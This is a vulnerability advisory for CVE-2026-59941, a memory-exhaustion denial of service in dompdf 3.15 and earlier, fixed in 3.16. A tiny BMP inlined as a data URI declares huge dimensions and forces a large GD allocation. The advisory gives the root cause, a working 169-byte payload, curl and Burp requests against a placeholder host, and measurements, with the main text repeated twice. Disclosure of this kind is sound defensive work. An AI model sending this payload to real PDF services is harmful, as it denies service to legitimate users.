CVE-2026-59941

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.

### Summary dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. ### Details ## Root cause The image is processed based on declared dimensions and type alone — no pixel budget: ```php // src/Image/Cache.php:131-134 list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext()); if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) { throw new ImageException("Image type unknown", E_WARNING); } ``` For BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields: ```php // src/Helpers.php:833-837 if (substr($data, 0, 2) === "BM") { $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data); $width = (int) $meta["width"]; $height = (int) $meta["height"]; $type = "bmp"; } ``` At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists: ```php // src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2 if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) { return $im; } // src/Helpers.php:940 — hand-rolled fallback $im = imagecreatetruecolor($meta['width'], $meta['height']); ``` There is no maximum width/height or maximum total-pixel guard anywhere on this path. ## Source-to-sink 1. Attacker HTML reaches `Dompdf::loadHtml()` with `<img src="data:image/bmp;base64,…">` (or any BMP `src`). 2. `Dompdf::render()` decorates frames; `Frame\Factory` marks `<img>` as an image; `FrameDecorator\Image` calls `Image\Cache::resolve_url()`. 3. `Image\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`). 4. During render, `Adapter\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`). 5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas — via the native `imagecreatefrombmp()` on PHP ≥ 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise. ### PoC erified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled. The crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes: ``` <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> ``` (The base64 above decodes to a 58-byte BMP declaring `6000×6000`. The CSS `width:1px;height:1px` does not help the defender — the intrinsic decode happens regardless.) ### 1 — Direct conversion ``` native imagecreatefrombmp exists: yes dompdf_getimagesize => 6000x6000 type=bmp imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file) Maximum resident set size: 160 MB (10x10 control: 24 MB) php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it ``` The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so `memory_limit` does not bound it. ### 2 — Full `Dompdf::render()` ``` declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB ``` ### 3 — HTTP reproduction (curl / Burp) Reproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch. curl: ```bash curl -s -X POST "https://TARGET/render" \ --data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \ -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n' ``` Burp Repeater (enable "Update Content-Length"): ``` POST /render HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: text/html Connection: close <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> ``` Observed (peak RSS read from the worker's `/proc/<pid>/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request): ``` [ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s [CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s ``` Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width × height`, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum). ## Impact A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request `memory_limit` does **not** contain it. **Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.

### Summary dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. ### Details ## Root cause The image is processed based on declared dimensions and type alone — no pixel budget: ```php // src/Image/Cache.php:131-134 list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext()); if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) { throw new ImageException("Image type unknown", E_WARNING); } ``` For BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields: ```php // src/Helpers.php:833-837 if (substr($data, 0, 2) === "BM") { $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data); $width = (int) $meta["width"]; $height = (int) $meta["height"]; $type = "bmp"; } ``` At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists: ```php // src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2 if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) { return $im; } // src/Helpers.php:940 — hand-rolled fallback $im = imagecreatetruecolor($meta['width'], $meta['height']); ``` There is no maximum width/height or maximum total-pixel guard anywhere on this path. ## Source-to-sink 1. Attacker HTML reaches `Dompdf::loadHtml()` with `<img src="data:image/bmp;base64,…">` (or any BMP `src`). 2. `Dompdf::render()` decorates frames; `Frame\Factory` marks `<img>` as an image; `FrameDecorator\Image` calls `Image\Cache::resolve_url()`. 3. `Image\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`). 4. During render, `Adapter\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`). 5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas — via the native `imagecreatefrombmp()` on PHP ≥ 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise. ### PoC erified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled. The crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes: ``` <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> ``` (The base64 above decodes to a 58-byte BMP declaring `6000×6000`. The CSS `width:1px;height:1px` does not help the defender — the intrinsic decode happens regardless.) ### 1 — Direct conversion ``` native imagecreatefrombmp exists: yes dompdf_getimagesize => 6000x6000 type=bmp imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file) Maximum resident set size: 160 MB (10x10 control: 24 MB) php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it ``` The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so `memory_limit` does not bound it. ### 2 — Full `Dompdf::render()` ``` declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB ``` ### 3 — HTTP reproduction (curl / Burp) Reproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch. curl: ```bash curl -s -X POST "https://TARGET/render" \ --data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \ -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n' ``` Burp Repeater (enable "Update Content-Length"): ``` POST /render HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: text/html Connection: close <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> ``` Observed (peak RSS read from the worker's `/proc/<pid>/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request): ``` [ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s [CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s ``` Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width × height`, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum). ## Impact A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request `memory_limit` does **not** contain it. **Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.